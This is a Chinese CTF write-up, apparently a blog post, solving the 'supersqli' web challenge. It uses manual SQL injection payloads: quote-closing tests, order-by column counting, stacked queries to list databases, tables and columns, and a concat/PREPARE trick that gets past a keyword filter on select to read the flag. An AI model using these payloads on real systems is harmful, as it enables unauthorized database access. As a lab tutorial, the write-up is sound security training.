攻防世界 Web supersqli 详解(堆叠注入)

打开题目场景,根据题目名称,猜测为SQL注入漏洞,下面开始进行手工注入测试。

step1、先在方框中随便输入数字

输入1

输入0,无返回结果。

step2、在方框中随便输入字母

输入xxx,无返回结果。

 

 

step3、单独输入一个反斜杠字符   \

报错:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''\'' at line 1

我们可以知道,当我们单独输入一个反斜杠字符后,报了一个数据库语法错误,证实了我们的猜测(即存在SQL注入漏洞),并找到了注入点,根据报错的信息可知,在注入点使用了单引号作为闭合,下面我们开始构造闭合。

step4、手工注入阶段——尝试select联合查询

构造payload:  xxx' or 1=1 #

 

若想使用union联合查询,首先要知道后台的select语句中选择了几个字段,构造paylad:

xxx' order by 3 #

报错:error 1054 : Unknown column '3 ' in 'order clause'    

没有第三个字段

xxx' order by 2 #

不报错,说明有两个字段

 

我们希望获得数据库名称,构造payload: 

xxx' union select 1,database() #

报错:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明select被过滤了,则不能使用select联合查询

step5、手工注入阶段——尝试使用堆叠查询

想获取所有数据库名称,构造payload:

xxx';show databases; #

返回如下:

对supersqli这个数据库感兴趣,想获取里面所有的表名称,构造payload:

xxx';use supersqli;show tables; #

返回如下:

对表名为1919810931114514的表感兴趣,获取表名为1919810931114514中的所有字段:


构造payload:

xxx';use supersqli;show columns from `1919810931114514` #

返回如下:

 


发现flag字段,获取字段值绕过select,采用预编译:

xxx';set @sql=concat('sel', 'ect * from `1919810931114514`');PREPARE kb from @sql;EXECUTE kb #

返回如下:

得到flag。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值